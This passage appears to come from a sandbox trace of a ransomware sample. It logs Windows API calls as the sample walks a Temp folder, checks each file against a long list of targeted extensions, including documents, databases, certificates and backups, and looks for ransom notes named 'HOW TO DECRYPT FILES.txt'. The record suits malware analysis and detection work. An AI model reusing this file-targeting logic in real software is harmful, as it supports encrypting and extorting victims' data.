(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.rar") returned 0 [0086.614] lstrlenA (lpString="*.rar") returned 5 [0086.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.zip") returned 0 [0086.614] lstrlenA (lpString="*.zip") returned 5 [0086.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.html") returned 0 [0086.614] lstrlenA (lpString="*.html") returned 6 [0086.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.htm") returned 0 [0086.614] lstrlenA (lpString="*.htm") returned 5 [0086.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.xlsx") returned 0 [0086.614] lstrlenA (lpString="*.xlsx") returned 6 [0086.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.xls") returned 0 [0086.614] lstrlenA (lpString="*.xls") returned 5 [0086.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.mp4") returned 0 [0086.614] lstrlenA (lpString="*.mp4") returned 5 [0086.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.ppt") returned 0 [0086.614] lstrlenA (lpString="*.ppt") returned 5 [0086.614] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.pptx") returned 0 [0086.614] lstrlenA (lpString="*.pptx") returned 6 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.doc") returned 0 [0086.615] lstrlenA (lpString="*.doc") returned 5 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.dot") returned 0 [0086.615] lstrlenA (lpString="*.dot") returned 5 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.docx") returned 0 [0086.615] lstrlenA (lpString="*.docx") returned 6 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.7z") returned 0 [0086.615] lstrlenA (lpString="*.7z") returned 4 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.tar") returned 0 [0086.615] lstrlenA (lpString="*.tar") returned 5 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.bz2") returned 0 [0086.615] lstrlenA (lpString="*.bz2") returned 5 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.gz") returned 0 [0086.615] lstrlenA (lpString="*.gz") returned 4 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.mkv") returned 0 [0086.615] lstrlenA (lpString="*.mkv") returned 5 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.eml") returned 0 [0086.615] lstrlenA (lpString="*.eml") returned 5 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.msg") returned 0 [0086.615] lstrlenA (lpString="*.msg") returned 5 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.edb") returned 0 [0086.615] lstrlenA (lpString="*.edb") returned 5 [0086.615] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.accdb") returned 0 [0086.615] lstrlenA (lpString="*.accdb") returned 7 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.odb") returned 0 [0086.616] lstrlenA (lpString="*.odb") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.java") returned 0 [0086.616] lstrlenA (lpString="*.java") returned 6 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.asm") returned 0 [0086.616] lstrlenA (lpString="*.asm") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.pfx") returned 0 [0086.616] lstrlenA (lpString="*.pfx") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.pem") returned 0 [0086.616] lstrlenA (lpString="*.pem") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.p12") returned 0 [0086.616] lstrlenA (lpString="*.p12") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.gpg") returned 0 [0086.616] lstrlenA (lpString="*.gpg") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.vsd") returned 0 [0086.616] lstrlenA (lpString="*.vsd") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.odg") returned 0 [0086.616] lstrlenA (lpString="*.odg") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.raw") returned 0 [0086.616] lstrlenA (lpString="*.raw") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.nef") returned 0 [0086.616] lstrlenA (lpString="*.nef") returned 5 [0086.616] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.svg") returned 0 [0086.617] lstrlenA (lpString="*.svg") returned 5 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.psd") returned 0 [0086.617] lstrlenA (lpString="*.psd") returned 5 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.vmx") returned 0 [0086.617] lstrlenA (lpString="*.vmx") returned 5 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.vmdk") returned 0 [0086.617] lstrlenA (lpString="*.vmdk") returned 6 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.vdi") returned 0 [0086.617] lstrlenA (lpString="*.vdi") returned 5 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.lay6") returned 0 [0086.617] lstrlenA (lpString="*.lay6") returned 6 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.mpeg") returned 0 [0086.617] lstrlenA (lpString="*.mpeg") returned 6 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.djvu") returned 0 [0086.617] lstrlenA (lpString="*.djvu") returned 6 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.tiff") returned 0 [0086.617] lstrlenA (lpString="*.tiff") returned 6 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.backup") returned 0 [0086.617] lstrlenA (lpString="*.backup") returned 8 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.pdf") returned 0 [0086.617] lstrlenA (lpString="*.pdf") returned 5 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.cert") returned 0 [0086.617] lstrlenA (lpString="*.cert") returned 6 [0086.617] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.docm") returned 0 [0086.618] lstrlenA (lpString="*.docm") returned 6 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.xlsm") returned 0 [0086.618] lstrlenA (lpString="*.xlsm") returned 6 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.dwg") returned 0 [0086.618] lstrlenA (lpString="*.dwg") returned 5 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.nd") returned 0 [0086.618] lstrlenA (lpString="*.nd") returned 4 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.tlg") returned 0 [0086.618] lstrlenA (lpString="*.tlg") returned 5 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.lgb") returned 0 [0086.618] lstrlenA (lpString="*.lgb") returned 5 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.mov") returned 0 [0086.618] lstrlenA (lpString="*.mov") returned 5 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.xdw") returned 0 [0086.618] lstrlenA (lpString="*.xdw") returned 5 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.ods") returned 0 [0086.618] lstrlenA (lpString="*.ods") returned 5 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.wav") returned 0 [0086.618] lstrlenA (lpString="*.wav") returned 5 [0086.618] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.mp3") returned 0 [0086.619] lstrlenA (lpString="*.mp3") returned 5 [0086.619] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.aiff") returned 0 [0086.619] lstrlenA (lpString="*.aiff") returned 6 [0086.619] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.flac") returned 0 [0086.619] lstrlenA (lpString="*.flac") returned 6 [0086.619] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.m4a") returned 0 [0086.619] lstrlenA (lpString="*.m4a") returned 5 [0086.619] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp", pszSpec="*.csv") returned 0 [0086.619] lstrlenA (lpString="*.csv") returned 5 [0086.619] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x706e8430, ftCreationTime.dwHighDateTime=0x1d5e654, ftLastAccessTime.dwLowDateTime=0x2242b990, ftLastAccessTime.dwHighDateTime=0x1d5e6f2, ftLastWriteTime.dwLowDateTime=0x2242b990, ftLastWriteTime.dwHighDateTime=0x1d5e6f2, nFileSizeHigh=0x0, nFileSizeLow=0x38f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="LDmM-U4MDYtk.mp3", cAlternateFileName="LDMM-U~1.MP3")) returned 1 [0086.619] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.619] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LDmM-U4MDYtk.mp3") returned -1 [0086.619] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LDmM-U4MDYtk.mp3") returned -1 [0086.619] lstrcmpiA (lpString1="", lpString2="LDmM-U4MDYtk.mp3") returned -1 [0086.619] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kPE1tBdYr.bmp") returned="kPE1tBdYr.bmp" [0086.619] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.619] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.619] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.620] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.620] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="LDmM-U4MDYtk.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3" [0086.620] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.ems") returned 0 [0086.620] lstrlenA (lpString="*.ems") returned 5 [0086.620] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.db") returned 0 [0086.620] lstrlenA (lpString="*.db") returned 4 [0086.620] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.dbf") returned 0 [0086.620] lstrlenA (lpString="*.dbf") returned 5 [0086.620] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.myox") returned 0 [0086.620] lstrlenA (lpString="*.myox") returned 6 [0086.620] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.myo") returned 0 [0086.620] lstrlenA (lpString="*.myo") returned 5 [0086.620] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.qbw") returned 0 [0086.620] lstrlenA (lpString="*.qbw") returned 5 [0086.620] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.qbb") returned 0 [0086.620] lstrlenA (lpString="*.qbb") returned 5 [0086.620] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.qbm") returned 0 [0086.620] lstrlenA (lpString="*.qbm") returned 5 [0086.620] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.qbo") returned 0 [0086.621] lstrlenA (lpString="*.qbo") returned 5 [0086.621] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.qbx") returned 0 [0086.621] lstrlenA (lpString="*.qbx") returned 5 [0086.621] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.qba") returned 0 [0086.621] lstrlenA (lpString="*.qba") returned 5 [0086.621] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.qby") returned 0 [0086.621] lstrlenA (lpString="*.qby") returned 5 [0086.621] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.qbj") returned 0 [0086.621] lstrlenA (lpString="*.qbj") returned 5 [0086.621] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.ofx") returned 0 [0086.621] lstrlenA (lpString="*.ofx") returned 5 [0086.621] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.qif") returned 0 [0086.621] lstrlenA (lpString="*.qif") returned 5 [0086.621] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.mye") returned 0 [0086.621] lstrlenA (lpString="*.mye") returned 5 [0086.621] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.mbox") returned 0 [0086.621] lstrlenA (lpString="*.mbox") returned 6 [0086.621] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.eml") returned 0 [0086.621] lstrlenA (lpString="*.eml") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.pst") returned 0 [0086.622] lstrlenA (lpString="*.pst") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.ost") returned 0 [0086.622] lstrlenA (lpString="*.ost") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.idx") returned 0 [0086.622] lstrlenA (lpString="*.idx") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.dbx") returned 0 [0086.622] lstrlenA (lpString="*.dbx") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.sql") returned 0 [0086.622] lstrlenA (lpString="*.sql") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.mdb") returned 0 [0086.622] lstrlenA (lpString="*.mdb") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.fdb") returned 0 [0086.622] lstrlenA (lpString="*.fdb") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.wab") returned 0 [0086.622] lstrlenA (lpString="*.wab") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.dat") returned 0 [0086.622] lstrlenA (lpString="*.dat") returned 5 [0086.622] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.txt") returned 0 [0086.622] lstrlenA (lpString="*.txt") returned 5 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.jpeg") returned 0 [0086.623] lstrlenA (lpString="*.jpeg") returned 6 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.jpg") returned 0 [0086.623] lstrlenA (lpString="*.jpg") returned 5 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.png") returned 0 [0086.623] lstrlenA (lpString="*.png") returned 5 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.php") returned 0 [0086.623] lstrlenA (lpString="*.php") returned 5 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.cs") returned 0 [0086.623] lstrlenA (lpString="*.cs") returned 4 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.cpp") returned 0 [0086.623] lstrlenA (lpString="*.cpp") returned 5 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.rar") returned 0 [0086.623] lstrlenA (lpString="*.rar") returned 5 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.zip") returned 0 [0086.623] lstrlenA (lpString="*.zip") returned 5 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.html") returned 0 [0086.623] lstrlenA (lpString="*.html") returned 6 [0086.623] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.htm") returned 0 [0086.624] lstrlenA (lpString="*.htm") returned 5 [0086.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.xlsx") returned 0 [0086.624] lstrlenA (lpString="*.xlsx") returned 6 [0086.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.xls") returned 0 [0086.624] lstrlenA (lpString="*.xls") returned 5 [0086.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.mp4") returned 0 [0086.624] lstrlenA (lpString="*.mp4") returned 5 [0086.624] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.ppt") returned 0 [0086.625] lstrlenA (lpString="*.ppt") returned 5 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.pptx") returned 0 [0086.625] lstrlenA (lpString="*.pptx") returned 6 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.doc") returned 0 [0086.625] lstrlenA (lpString="*.doc") returned 5 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.dot") returned 0 [0086.625] lstrlenA (lpString="*.dot") returned 5 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.docx") returned 0 [0086.625] lstrlenA (lpString="*.docx") returned 6 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.7z") returned 0 [0086.625] lstrlenA (lpString="*.7z") returned 4 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.tar") returned 0 [0086.625] lstrlenA (lpString="*.tar") returned 5 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.bz2") returned 0 [0086.625] lstrlenA (lpString="*.bz2") returned 5 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.gz") returned 0 [0086.625] lstrlenA (lpString="*.gz") returned 4 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", 